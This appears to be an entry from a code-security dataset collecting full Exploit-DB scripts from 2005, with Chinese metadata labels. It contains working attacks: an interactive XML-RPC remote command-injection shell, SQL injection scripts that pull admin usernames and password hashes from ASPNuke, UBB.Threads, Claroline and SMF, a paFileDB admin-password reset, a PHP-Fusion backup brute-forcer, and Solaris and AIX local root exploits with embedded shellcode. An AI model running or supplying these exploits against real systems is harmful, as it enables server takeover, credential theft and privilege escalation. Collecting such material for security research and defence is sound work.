QLWD/code_shield huggingface dataset:
标题: XML-RPC Library 1.3.0 - 'xmlrpc.php' Remote Code Injection EDB-ID: 1078 CVE: 2005-2116 2005-1921 类型: WEBAPPS 平台: PHP 发布日期: 2005-07-01 漏洞利用脚本: # tested and working /str0ke

#!/usr/bin/perl
# 
#  ilo-- 
#
#  This program is no GPL or has nothing to do with FSF, but some
#  code was ripped from romansoft.. sorry, too lazy!
#  
#  xmlrpc bug by James from GulfTech Security Research. 
#  http://pear.php.net/bugs/bug.php?id=4692
#  xmlrpc drupal exploit, but James sais xoops, phpnuke and other
#  cms should be vulnerable.
#
#  greets: dsr! digitalsec.net
#
require LWP::UserAgent;
use URI;
use Getopt::Long;
use strict;
$| = 1;  # fflush stdout after print

# Default options
# connection 
my $basic_auth_user = '';
my $basic_auth_pass = '';
my $proxy = '';
my $proxy_user = '';
my $proxy_pass = '';
my $conn_timeout = 15;

# general
my $host;
 
 #informational lines to feed my own ego.
 print "xmlrpc exploit - http://www.reversing.org \n";
 print "2005 ilo-- <ilo".chr(64)."reversing.org> \n";
 print "special chars allowed are / and - \n\n";

 # read command line options
 my $options = GetOptions (

 #general options
 'host=s'    => \$host, # input host to test.

 # connection options
 'basic_auth_user=s' => \$basic_auth_user,
 'basic_auth_pass=s' => \$basic_auth_pass,
 'proxy=s'           => \$proxy,
 'proxy_user=s'      => \$proxy_user,
 'proxy_pass=s'      => \$proxy_pass,
 'timeout=i'         => \$conn_timeout);

 # command line sanity check 
 &show_usage unless ($host);

 # main loop 
 while (1){
  print "\nxmlrpc@# ";
  my $cmd = <STDIN>;
  xmlrpc_xploit ($cmd);
 }

 exit (1);

#exploit 
sub xmlrpc_xploit {
chomp (my $data = shift);
my $reply;

my $d1 = "<?xml version=\"1.0\"?><methodCall><methodName>examples.getStateName</methodName><params><param><name>a');";  
my $d2 = ";//</name><value>xml exploit R/01</value></param></params></methodCall>";

  $data =~ s/-/'.chr(45).'/mg;
  $data =~ s/\//'.char(47).'/mg;

  my $req = new HTTP::Request 'POST' => $host;
  $req->content_type('application/xml');
  $req->content($d1.'system(\''.$data.'\')'.$d2);
  
  my $ua = new LWP::UserAgent;
  $ua->agent("xmlrpc exploit R/0.1");
  $ua->timeout($conn_timeout);

  if ($basic_auth_user){
    $req->authorization_basic($basic_auth_user, $basic_auth_pass) 
  }
  if ($proxy){
    $ua->proxy(['http'] => $proxy);
    $req->proxy_authorization_basic($proxy_user, $proxy_pass);
  }
 
  #send request, return null if not OK
  my $res = $ua->request($req);
  if ($res->is_success){
     $reply= $res->content;
  } else { 
     $reply = "";
  }
  $reply =~ /(.*).(<pre>warning.*)/mgsi;
  print ($1);
}

# show options 
sub show_usage {
  print "Syntax: ./xmlrpc.pl [options] host/uri\n\n";
  print "main options\n";
  print "connection options\n";
  print "\t--proxy (http), --proxy_user, --proxy_pass\n";
  print "\t--basic_auth_user, --basic_auth_pass\n";
  print "\t--timeout \n";
  print "\nExample\n";
  print "bash# xmlrpc.pl --host=http://www.host.com/xmlrpc.php \n";
  print "\n";
  exit(1);
}


# milw0rm.com [2005-07-01] URL: https://www.exploit-db.com/exploits/1078
标题: Solaris 9/10 - 'ld.so' Local Privilege Escalation (1) EDB-ID: 1073 CVE: 2005-2072 类型: LOCAL 平台: SOLARIS 发布日期: 2005-06-28 漏洞利用脚本: /*
- SunOS 5.10 Generic i86pc i386 i86pc
- SunOS 5.9 Generic_112233-12 sun4u

It does NOT work on:

SunOS 5.8 Generic_117350-02 sun4u sparc

Example on unpatched Solaris 10 (AMD64):

atari:venglin:~> cat dupa.c
*/

static char sh[] =
"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c
atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so
atari:venglin:~> su

# id
uid=0(root) gid=10(staff)
*/

// milw0rm.com [2005-06-28] URL: https://www.exploit-db.com/exploits/1073
标题: ASPNuke 0.80 - 'comment_post.asp' SQL Injection EDB-ID: 1071 CVE: 2005-2066 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-27 漏洞利用脚本: #!/usr/bin/perl -w
#
# SQL Injection Exploit for ASPNuke <= 0.80
# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256
# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for ASPNuke <= 0.80 =\n";
print "\t=     by Alberto Trivero      =\n";
print "\t===============================\n\n";

if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n";
   exit(0);
}

$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";
print "[-] Unable to retrieve Username\n" if(!$1);
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-06-27] URL: https://www.exploit-db.com/exploits/1071
标题: UBBCentral UBB.Threads < 6.5.2 Beta - 'mailthread.php' SQL Injection EDB-ID: 1069 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-25 漏洞利用脚本: <?php
#############################################################################
#      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   UBBCentral SQL Injection
#
# Exploit By :  MH_p0rtal
#
# Discovered By: James Bercegay
#############################################################################
#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# please replace your dir address :
$dirs = "/dir/to/ubbt/";
# __________End Config
#############################################################################
$aa = strlen ( $dirs );
$ab = $aa - 1;
$ac = 0;
if ((  $dirs[$ab] == "/" )  &&  ( $dirs[$ac] == "/" ))   {
$merg = $dirs.mailthread.php;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
} else {
echo " Your pattern doesn't equal with Exploit directory pattern ";
}
?>

# milw0rm.com [2005-06-25] URL: https://www.exploit-db.com/exploits/1069
标题: PHP-Fusion 6.00.105 - Accessible Database Backups Download EDB-ID: 1068 CVE: 2005-2075 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-25 漏洞利用脚本: #!/usr/bin/perl
 ######################################################
 #  D A R K   A S S A S S I N S   C R E W   2 0 0 5   #
 ######################################################
 # Dark Assassins - http://dark-assassins.com/        #
 # Visit us on IRC @ irc.tddirc.net #DarkAssassins    #
 ######################################################
 # phpfusiondb.pl; Version 0.1 22/06/05               #
 # PHP-Fusion db backup proof-of-concept by Easyex    #
 # Database backup vuln in v6.00.105 and below        #
 ######################################################
 # Description: When a db (database) backup is made   #
 # it is saved in /administration/db_backups/ on 6.0  #
 # and on 5.0 it is saved in /fusion_admin/db_backups/#
 # The backup file can be saved in 2 formats: .sql or #
 # .sql.gz and is hidden by a blank index.php file but#
 # can be downloaded client-side, The filename is for #
 # example : backup_2005-06-22_2208.sql.gz so what we #
 # can do is generate 0001 to 9999 and request the    #
 # file and download it. If a db file is found an     #
 # attacker can get the admin hash and crack  it or   #
 # retrieve other sensitive information from the db!  #
 ######################################################

 # 9999 requests to the host is alot, And would get noticed in the server log!
 # If you re-coded your own script with proxy support you would be fine.
 # You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly   
 # backup the php-fusiondatabase.

 my $wget='wget';

 my $count='0';

 my $target;

 if (@ARGV < 4)
{
 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";
 print "Usage: phpfusiondb.pl <host> <version> <file> <extension>\n";
 print "Example: phpfusiondb.pl example.com 6 backup_2005-06-23_ .sql.gz\n";
 print "\n";
 exit();
}

 my $host = $ARGV[0];
 my $ver = $ARGV[1];
 my $file = $ARGV[2];
 my $extension = $ARGV[3];

 if ($ver eq "6") {
       $dir='/administration/db_backups/'; # Directory path to the 6.X backup folder
 }

 if ($ver eq "5") {
       $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X backup folder
}

 print "\n";
 print "Welcome to the PHP-Fusion db backup vulnerability\n";
 print "Coded by Easyex from the Dark Assassins crew\n";
 print "\n";

 print "Host: $host\n";
 print "Directory: $dir\n";
 print "File: $file + 0001 to 9999\n";
 print "Extension: $extension\n";
 print "\n";
 print "Attempting to find a db backup file on $host\n";

 for($count=0;$count<9999;$count++) {

    $target=$host.$dir.$file.sprintf("%04d", $count).$extension;

    system("$wget $target");
 }

# milw0rm.com [2005-06-25] URL: https://www.exploit-db.com/exploits/1068
标题: Claroline E-Learning 1.6 - Remote Hash SQL Injection (2) EDB-ID: 1053 CVE: 2005-1375 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-19 漏洞利用脚本: #!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]

use IO::Socket;

sub Usage {
print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>\n";
print STDERR "Targets:\n1 - userInfo.php\n";
print STDERR "2 - exercises_details.php\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}

if (@ARGV > 3)
{
 Usage();
}

if (@ARGV == 3)
{
$host = @ARGV[0];
$path = @ARGV[1];
$target = @ARGV[2];

print "[K-C0d3r]  Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n";
print "[+] Connecting to $host\n";

$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;

print "[+] Injecting command ...\n";

if ($target == 1)
{
print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
 print $_;
 exit;
}
}
if ($target == 2)
{
print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
 print $_;
 exit;
}
}
}

# milw0rm.com [2005-06-19] URL: https://www.exploit-db.com/exploits/1053
标题: Simple Machines Forum (SMF) 1.0.4 - 'modify' SQL Injection EDB-ID: 1057 CVE: 2005-4891 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-21 漏洞利用脚本: #!/usr/bin/perl -w
################################################################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################

use LWP::UserAgent;

if ( !$ARGV[3] ) 
{
 print "Usage: smf.pl user pass target_uid modify_url\n";
 exit;
}

print "###################################################\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "###################################################\n";

my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
   $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

my $ua = new LWP::UserAgent;
   $ua->agent("SMF Hash Grabber v1.0" . $ua->agent);

$ua->cookie_jar({});

print "[*] Trying $path ...\n";

my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
   $req->content_type('application/x-www-form-urlencoded');
   $req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');
my $res = $ua->request($req); 

print "[*] Logging In ...\n";

# When a correct login is made, a redirect is issued, and no 
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
 print "[+] Successfully logged in as $user \n";
 my $sid = $ua->get($path . '/index.php?action=profile;sa=account'); 

 # We get our current session id to be used
 print "[*] Trying To Get Valid Sesc ID \n";
 if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
 {
  # Replace the old session parameter with the
  # new one so we do not get an access denied!
  my $sesc = $1;
     $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

  print "[+] Valid Sesc Id : $sesc\n";
  print "[*] Trying to get password hash ...\n";

  my $pwn = $ua->get($post); 
  if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
  {
   print "[+] Got the password hash!\n";
   print "[+] Password Hash : $1\n";
  }
  else
  {
   print "[!] Exploit Failed! Try manually verifying the vulnerability \n";
  }
 }
 else
 {
  print '[!] Unable to obtain a valid sesc key!!';
  exit;
 }
}
else
{
 print '[!] There seemed to be a problem logging you in!';
 exit;
}

# milw0rm.com [2005-06-21] URL: https://www.exploit-db.com/exploits/1057
标题: PHP Arena 1.1.3 - 'pafiledb.php' Remote Change Password EDB-ID: 1050 CVE: 2005-2000 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-15 漏洞利用脚本: #!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m           #
######################################################################################
#  EXPLOIT FOR:   PHP Arena paFileDB 1.1.3 And 0lder                                 #
#                                                                                    #
#Expl0it By: A l p h a _ P r o g r a m m e r (Sirus-v)                               #
#Email: Alpha_Programmer@LinuxMail.ORG                                               #
#                                                                                    #
#                                                                                    #
# + Discovered By: GulfTech                                                          #
# + Advisory: https://www.securityfocus.com/bid/13967                                 #
#Vulnerable:   PHP Arena paFileDB 1.1.3 and Older                                    #
######################################################################################
# GR33tz T0 ==>     mh_p0rtal  --  oil_Karchack  --  Dr_CephaleX  -- Str0ke          #
#And Iranian Security & Hacking Groups:                                              #
#                                                                                    #
#      Crouz ,  Simorgh-ev   , IHSsecurity , AlphaST , Shabgard &  Emperor           #
######################################################################################

use IO::Socket;
if (@ARGV < 2)
{
  print "\n====================================================\n";
  print " \n       PHPArena Exploit By Alpha Programmer\n\n";
  print "       Trap-Set Underground Hacking Team      \n\n";
  print "           Usage: <T4rg3t> <DIR>\n\n";
  print "====================================================\n\n";
  print "Examples:\n\n";
  print "    xpl.pl www.Site.com / \n";
  exit();
}

my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "C4nn0t C0nn3ct to $host" }
print "\n\n[+] C0nn3cted\n";
$http = "pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20c15c493548d09ffd03c9d41d8bbbfeef%281337%28%20WHERE%201/*\n";
$http .= "Host: $host\n\r\n\r";
print "[+] Injecting SQL Commands ...\n";
sleep(1);
print "[+] Changing Admin's Password ...\n";
print $remote $http;
sleep(1);
while (<$remote>)
{
}
print "[+] Now , Login With This Password :\n";
print "Password : trapset\n\n";
print "Enjoy ;) \n\n";

# milw0rm.com [2005-06-15] URL: https://www.exploit-db.com/exploits/1050
标题: Claroline E-Learning 1.6 - Remote Hash SQL Injection (1) EDB-ID: 1052 CVE: 2005-1375 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-17 漏洞利用脚本: <?php
#############################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   Claroline E-Learning Application
#
# Exploit By :  MH_p0rtal
#
# Discovered By: Sieg Fried
#
#############################################################################
#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# Please replace your name file  ( userInfo.php Or  exercises_details.php )
$file1 = "userInfo.php";
# please replace your dir address :
$dirs = "/dir/to/claroline/user/";
# __________End Config
#############################################################################
if ( $file1 == "userInfo.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/*  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
}
//-------------------------------------------------------------------------------------------
if ( $file1 == "exercises_details.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
}
?>

// milw0rm.com [2005-06-17] URL: https://www.exploit-db.com/exploits/1052
标题: AIX 5.2 - 'ipl_varyon' Local Privilege Escalation EDB-ID: 1045 CVE: 2005-0262 类型: LOCAL 平台: AIX 发布日期: 2005-06-14 漏洞利用脚本: /*
 *
 *    IBM AIX ipl_varyon elevated privileges exploit
 *
 *    I just wanted to play with PowerPC (Tested on 5.2)
 *
 *    intropy (intropy <at> caughq.org)
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define DEBUG 1
#define BUFFERSIZE 2048
#define EGGSIZE 2048

#define NOP 0x60
#define ADDRESS 0x2ff22fff-(BUFFERSIZE/2)

/* lsd */
char shellcode_binsh[] =
"\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
"\x40\x82\xff\xfd"     /* bnel    <shellcode>          */
"\x7f\xe8\x02\xa6"     /* mflr    r31                  */
"\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
"\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
"\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
"\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
"\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
"\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
"\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
"\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
"\x44\xff\xff\x02"     /* svca                         */
"/bin/sh"
"\x05";

unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) {
        int count, env_size = strlen(payload) + environment_size + 4 + 1;
        unsigned long address, *ret_addressp;
        
        if (DEBUG) printf("Adding nops to environment buffer...");
        for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) {
            *(env_buffer++) = NOP;
        }
        if (DEBUG) printf("size %d...\n", count);
        if (DEBUG) printf("Adding payload to environment buffer...");
        for ( count = 0; count < strlen(payload); count++ ) {
            *(env_buffer++) = payload[count];
        }
        if (DEBUG) printf("size %d...\n", count);

        env_buffer[env_size - 1] = '\0';

        memcpy(env_buffer, "CAU=", 4);

 memset(address_buffer, 'A', buffer_size);

        address = ADDRESS;

        if (DEBUG) printf("Going for address @ 0x%lx\n", address);

        if (DEBUG) printf("Adding return address to buffer...");
        ret_addressp = (unsigned long *)(address_buffer+3);
        for ( count = 0; count < buffer_size; count += 4) {
                *(ret_addressp++) = address;
        }
        if (DEBUG) printf("size %d...\n", count);

        address_buffer[buffer_size - 1] = '\0';

        return( 0 );
}

int main()
{
    char *buffer, *egg;
    char *args[3], *envs[2];

    buffer = (char *)malloc(BUFFERSIZE);
    egg = (char *)malloc(EGGSIZE);

    cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE);

    args[0] = "/usr/sbin/ipl_varyon";
    args[1] = "-d";
    args[2] = buffer;
    args[3] = NULL;

    envs[0] = egg;
    envs[1] = NULL;

    execve( "/usr/sbin/ipl_varyon", args, envs );

    return( 0 );
}

// milw0rm.com [2005-06-14] URL: https://www.exploit-db.com/exploits/1045